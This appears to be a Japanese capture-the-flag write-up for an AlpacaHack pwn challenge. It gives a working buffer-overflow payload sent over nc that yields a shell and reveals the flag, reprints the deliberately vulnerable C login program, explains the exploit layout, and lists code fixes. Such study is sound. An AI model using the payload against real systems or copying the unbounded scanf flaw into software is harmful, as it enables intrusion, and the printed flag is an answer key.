# 2025-12-17_"login-bonus": 251217
<https://alpacahack.com/daily/challenges/login-bonus>
Level: Medium
Type: Pwn
solved day: 2025,12,17
## solution
```sh
( python -c 'import sys; sys.stdout.buffer.write(b"A"*16 + b"\x00" + b"B"*15 + b"A"*16 + b"\n")' ; cat ) \
| nc 34.170.146.252 6555
[DEBUG] Generating secure password...
Password:
[DEBUG] Authenticicating...
[+] Success!
find / -maxdepth 1 -name 'flag-*' -type f -print
/flag-d592fd27eb4de74af194fda7990796ec.txt
cat /flag-d592fd27eb4de74af194fda7990796ec.txt
Alpaca{h0w_d1d_U_gu3s5_i7}
exit
```
## How I thought.
```sh
eza --tree
.
├── compose.yaml
├── Dockerfile
├── flag.txt
├── login
└── login.c
```
* 修正: `commen-login.c` は存在しない(typo/不要)。上の構成が実体。
### 1. `login.c` を読む
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/random.h>
#define debug_report(fmt, ...) printf("[DEBUG] " fmt "\n", ##__VA_ARGS__)
char password[32];
char secret[32];
int main() {
/* Input password */
printf("Password: ");
scanf("%[^\n]", password);
/* Check password */
debug_report("Authenticating...");
if (strcmp(password, secret)) {
puts("[-] Wrong password");
debug_report("'%s' != '%s'", password, secret);
} else {
puts("[+] Success!");
system("/bin/sh");
}
return 0;
}
__attribute__((constructor))
void setup() {
int seed;
setbuf(stdin, NULL);
setbuf(stdout, NULL);
/* Generate random password */
debug_report("Generating secure password...");
getrandom(&seed, sizeof(seed), 0);
srand(seed);
for (size_t i = 0; i < 16; i++)
secret[i] = 'A' + (rand() % 26);
}
```
* 挙動の要約:
* `scanf("%[^\n]")` で改行までを **幅指定なし** で `password[32]` に読み込む。
* `secret` は A〜Z の英大文字16文字が設定される(`setup` で毎回生成)。
* 比較は `strcmp(password, secret)`(戻り値 0 が一致)。
* `debug_report("%s")` が `password` と `secret` を「文字列」として表示。
* 修正: 「`password`, `secret`それぞれに32文字分割り当てられているが、実際に使われているパスワード部は16文字だけ」という表現は紛らわしい。正しくは
* `secret` は「英大文字16文字」+ グローバル配列の性質でその先は 0(ヌル)になり、**文字列としては長さ16**。
* `password` は **入力次第で任意長**だが、途中に NUL(`\x00`)を入れれば **文字列としての長さをそこで切れる**。
## 2. どこが問題か(設計上の穴)
* 入力が **幅指定なし**(`scanf("%[^\n]")`)なので、改行までのバイト列が **`password[32]` を超えても書き込まれる**。
→ 実環境では `password` の直後に `secret` が .bss セクションで **連続配置**されがちなので、**境界外書き込みが `secret[0..]` を侵食**する。
* 文字列の終端(NUL, `'\0'`)に依存する比較 (`strcmp`) を使っている。
→ ライブラリやフォーマットにより \*\*「どこに NUL が入るか」\*\*が勝敗を決める。
* デバッグで `'%s' != '%s'` を出しているため、クライアントに **文字列としての見え方(終端位置・長さ)** が露出する。
## 3. 実際にどう崩したか(ペイロード設計)
入力のバイト並びを、次のように設計した。
S(16) = A×16 → password[0..15]
NUL = \x00 → password[16] で「文字列」としての password を終端
X(15) = B×15 → password[17..31] をちょうど埋めて終わる(ここではまだ侵食しない)
Y(16) = A×16 → 次の書き込み先は secret[0..15]
NL = \n → scanf が読み取りを終了
* ポイント:
* NUL で `password` の「文字列」としての長さを 16 に固定。
* NUL の後に **ちょうど 15 バイト**を書き、`password` の残りを埋め切ってから、次の 16 バイトが **`secret[0..15]` に落ちる**ように位置合わせ。
* これで **`secret` の「文字列」も A×16** になる。
→ `strcmp(password, secret) == 0`(内容+長さが完全一致)で `[+] Success!`。
* 代替パターン(一般化):
* `password` の「文字列」先頭16文字を `C0 + C1×15` にしたいなら、
* `S = C0 + C1×15`
* NUL
* `X = C0×15`(ここでは 15)
* `Y = C1×16`
* NL
とすれば、`secret` は `C0 + C1×15` になる(位置合わせの考え方は同じ)。
## 4. これが成り立つ理由(仕様と実装の間)
* グローバルの `char secret[32]` は **未初期化でも 0 で埋まる**(BSS ゼロ初期化)。
→ `setup` が 0..15 に英大文字を入れ、16 は 0 のまま。**文字列としては長さ16**。
* `scanf("%[^\n]")` は **改行で停止**するため、途中の NUL(`\x00`)は \*\*「普通のバイト」\*\*として配列に書かれる。
→ ライブラリは書き終えた位置に **終端 NUL** も付けるので、`secret[16]` にも 0 が残る/付く。
* `strcmp` は **最初の NUL まで**を比較する。
→ 文字列としての長さと内容が一致すれば 0(一致)。
## 5. 実行環境の意図(Docker/xinetd)
* `xinetd` が TCP/9999 を待受し、接続ごとに `/usr/bin/timeout 180 /home/pwn/login` を起動。
→ STDIN/STDOUT がソケットに直結し、**逐次出力**(`setbuf(..., NULL)`)になる。
→ 接続ごとに新プロセスなので、`setup` は毎回走り `secret` は毎回別の乱数列。
## 6. 防御策(運用・コード修正)
* 入力に **幅指定**を入れる:
```c
scanf("%31[^\n]", password); // 配列32なら31+終端
// または
if (fgets(password, sizeof(password), stdin)) {
password[strcspn(password, "\n")] = '\0'; // 改行を除去
}
```
* `secret` を **明示的にヌル終端**する:
```c
for (size_t i = 0; i < 16; i++)
secret[i] = 'A' + (rand() % 26);
secret[16] = '\0';
```
* 比較の前に **長さも検証**する(完全一致のみ合格):
```c
if (strlen(password) != 16 || strcmp(password, secret) != 0) {
puts("[-] Wrong password");
return 1;
}
```
* デバッグで **秘密を露出しない**:
```c
// debug_report("'%s' != '%s'", password, secret); // 情報漏えいにつながる
debug_report("len(password)=%zu, len(secret)=%zu", strlen(password), strlen(secret));
```
## 7. まとめ
* 根本原因は、`scanf("%[^\n]")` が **幅指定なし**で改行まで無制限に書き込むため、`password` の境界外に書き込みが進み **`secret` を侵食**できること
* グローバル配列のゼロ初期化と `strcmp` の **NUL終端依存**が重なり、「文字列としての長さ・内容」を **狙って一致に誘導**できた
* 実環境では .bss で配列が **宣言順に連続**しがちで、未定義動作でありつつも **隣接配列破壊**が現象として起きやすい
* 対策は入力の **幅指定/安全な読み取り**、**明示的な終端**、**長さ検証**、**ログの情報管理**